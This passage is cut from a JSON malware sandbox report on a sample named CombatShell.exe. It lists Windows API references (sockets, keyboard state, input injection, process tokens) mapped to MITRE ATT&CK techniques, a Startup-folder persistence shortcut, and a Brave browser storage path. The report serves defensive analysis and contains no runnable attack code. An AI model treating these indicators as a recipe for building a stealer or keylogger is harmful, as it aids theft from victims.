00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"WSASend\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"WSAStartup\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"closesocket\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"getpeername\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"getsockname\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"getsockopt\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"ioctlsocket\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"recvfrom\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"RaiseException\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"VirtualProtect\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"VirtualQuery\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"BCryptGenRandom\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetConsoleScreenBufferInfo\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetModuleHandleExW\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetConsoleMode\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetConsoleTextAttribute\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetThreadErrorMode\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetUnhandledExceptionFilter\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CoCreateInstance\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CoInitializeEx\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CoUninitialize\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"OleInitialize\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SafeArrayPutElement\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"AssocQueryStringW\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"AdjustWindowRectEx\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"ClientToScreen\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"ClipCursor\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CreateIcon\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CreateIconFromResourceEx\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CreateWindowExW\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"DefWindowProcW\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"DestroyIcon\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"DestroyWindow\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"DispatchMessageW\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"EnableMenuItem\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetActiveWindow\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetAsyncKeyState\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetClientRect\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetClipCursor\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetCursorPos\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetForegroundWindow\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetKeyState\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetKeyboardLayout\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetKeyboardState\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetMenu\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetRawInputData\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetSystemMenu\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetWindowPlacement\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetWindowRect\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetWindowTextLengthW\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetWindowTextW\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"IsIconic\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"KillTimer\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"LoadCursorW\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"LoadImageW\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"MessageBoxW\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"PeekMessageW\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"RedrawWindow\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"RegisterRawInputDevices\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"RegisterWindowMessageA\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"ReleaseCapture\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"ScreenToClient\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SendInput\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetCapture\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetCursor\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetCursorPos\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetForegroundWindow\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetMenuDefaultItem\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetTimer\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetWindowPlacement\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetWindowPos\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetWindowTextW\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"ShowCursor\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"ShowWindow\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SystemParametersInfoA\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"ToUnicodeEx\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"TrackPopupMenu\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"TranslateMessage\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1106","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1106","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"string-240","type":2,"relevance":1,"name":"Contains ability to execute an application (API string)","description":"Found reference to API \"ShellExecuteW\" (Indicator: \"ShellExecute\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","description_v2":["Found reference to API \"ShellExecuteW\" (Indicator: \"ShellExecute\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"ShellExecuteW\" (Indicator: \"ShellExecute\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1106","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1106","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"string-322","type":2,"relevance":1,"name":"Contains ability to move file or directory (API string)","description":"Found reference to API \"MoveFileExW\" (Indicator: \"MoveFile\"; File: \"CombatShell.exe\")\n Found reference to API \"MoveFileExW\" (Indicator: \"MoveFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","description_v2":["Found reference to API \"MoveFileExW\" (Indicator: \"MoveFile\"; File: \"CombatShell.exe\")","Found reference to API \"MoveFileExW\" (Indicator: \"MoveFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"MoveFileExW\" (Indicator: \"MoveFile\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"MoveFileExW\" (Indicator: \"MoveFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1570","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1570","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"string-206","type":2,"relevance":1,"name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"CombatShell.exe\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","description_v2":["Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"CombatShell.exe\")","Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1059.003","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1059/003","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"string-161","type":2,"relevance":1,"name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"CombatShell.exe\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","description_v2":["Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"CombatShell.exe\")","Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1106","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1106","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"string-272","type":2,"relevance":1,"name":"Contains ability to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; File: \"CombatShell.exe\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")\n Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")\n Found reference to API \"NtOpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","description_v2":["Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; File: \"CombatShell.exe\")","Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API \"NtOpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"NtOpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1057","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1057","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"string-319","type":2,"relevance":1,"name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; File: \"CombatShell.exe\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; File: \"CombatShell.exe\")\n Found reference to API \"WSAGetLastError\" (Indicator: \"GetLastError\"; File: \"CombatShell.exe\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")\n Found reference to API \"WSAGetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","description_v2":["Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; File: \"CombatShell.exe\")","Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; File: \"CombatShell.exe\")","Found reference to API \"WSAGetLastError\" (Indicator: \"GetLastError\"; File: \"CombatShell.exe\")","Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"WSAGetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"WSAGetLastError\" (Indicator: \"GetLastError\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"WSAGetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1106","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1106","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"string-208","type":2,"relevance":1,"name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; File: \"CombatShell.exe\")\n Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","description_v2":["Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; File: \"CombatShell.exe\")","Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1564.003","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1564/003","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"string-265","type":2,"relevance":1,"name":"Contains reference to Windows Startup folder","description":"\"\"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mcr.lnkk\"\" (Indicator: \"\"%appdata%\\microsoft\\windows\\start menu\\programs\\startup\\mcr.lnkk\"\") in Source: winlnk.exe","description_v2":["\"\"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mcr.lnkk\"\" (Indicator: \"\"%appdata%\\microsoft\\windows\\start menu\\programs\\startup\\mcr.lnkk\"\") in Source: winlnk.exe"],"description_v3":[{"type":"text","value":"\"\"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mcr.lnkk\"\" (Indicator: \"\"%appdata%\\microsoft\\windows\\start menu\\programs\\startup\\mcr.lnkk\"\") in Source: winlnk.exe"}],"origin":"File/Memory","attck_id":"T1547.001","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1547/001","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"string-120","type":2,"relevance":1,"name":"Contains registry location strings","description":"\"y\\Machine\\Software\\Classes\\AppID\\CombatShell.exe\" in Source: 00000000-00005644.00000000.286803.21F00000.00000004.mdmp\n \"Registry\\Machine\\Software\\Classes\\CLSID\\{FAE3D380-FEA4-4623-8C75-C6B61110B681}\\Instance\\Disabled\" in Source: 00000000-00005644.00000000.286803.253B0000.00000004.mdmp\n \"C:\\Users\\GPlDfiy\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Local Storage\\leveldb\\\" in Source: 00000000-00005644.00000001.288725.25E15000.00000004.mdmp\n \"Software\\Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptDllFindOIDInfo\\1.3.6.1.4.1.311.10.3.42!7\" in Source: 00000000-00005644.00000001.288725.25E15000.00000004.mdmp\n \"Software\\Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptDllFindOIDInfo\\1.3.6.1.4.1.311.80.1!7\" in Source: 00000000-00005644.00000001.288725.25E15000.00000004.mdmp","description_v2":["\"y\\Machine\\Software\\Classes\\AppID\\CombatShell.exe\" in Source: 00000000-00005644.00000000.286803.21F00000.00000004.mdmp","\"Registry\\Machine\\Software\\Classes\\CLSID\\{FAE3D380-FEA4-4623-8C75-C6B61110B681}\\Instance\\Disabled\" in Source: 00000000-00005644.00000000.286803.253B0000.00000004.mdmp","\"C:\\Users\\GPlDfiy\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Local Storage\\leveldb\\\" in Source: 00000000-00005644.00000001.288725.25E15000.00000004.mdmp","\"Software\\Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptDllFindOIDInfo\\1.3.6.1.4.1.311.10.3.42!7\" in Source: 00000000-00005644.00000001.288725.25E15000.00000004.mdmp","\"Software\\Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptDllFindOIDInfo\\1.3.6.1.4.1.311.80.1!7\" in Source: 00000000-00005644.00000001.288725.25E15000.00000004.mdmp"],"description_v3":[{"type":"text","value":"\"y\\Machine\\Software\\Classes\\AppID\\CombatShell.exe\" in Source: 00000000-00005644.00000000.286803.21F00000.00000004.mdmp"},{"type":"linebreak"},{"type":"text","value":"\"Registry\\Machine\\Software\\Classes\\CLSID\\{FAE3D380-FEA4-4623-8C75-C6B61110B681}\\Instance\\Disabled\" in Source: 00000000-00005644.00000000.286803.253B0000.00000004.mdmp"},{"type":"linebreak"},{"type":"text","value":"\"%LOCALAPPDATA%\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Local Storage\\leveldb\\\" in Source: 00000000-00005644.00000001.288725.25E15000.00000004.mdmp"},{"type":"linebreak"},{"type":"text","value":"\"Software\\Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptDllFindOIDInfo\\1.3.6.1.4.1.311.10.3.42!7\" in Source: 00000000-00005644.00000001.288725.25E15000.00000004.mdmp"},{"type":"linebreak"},{"type":"text","value":"\"Software\\Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptDllFindOIDInfo\\1.3.6.1.4.1.311.80.1!7\" in Source: 00000000-00005644.00000001.288725.25E15000.00000004.mdmp"}],"origin":"File/Memory","attck_id":"T1012","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1012","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"mutant-0","type":4,"relevance":3,"name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\SM0:5644:120:WilError_03\"\n 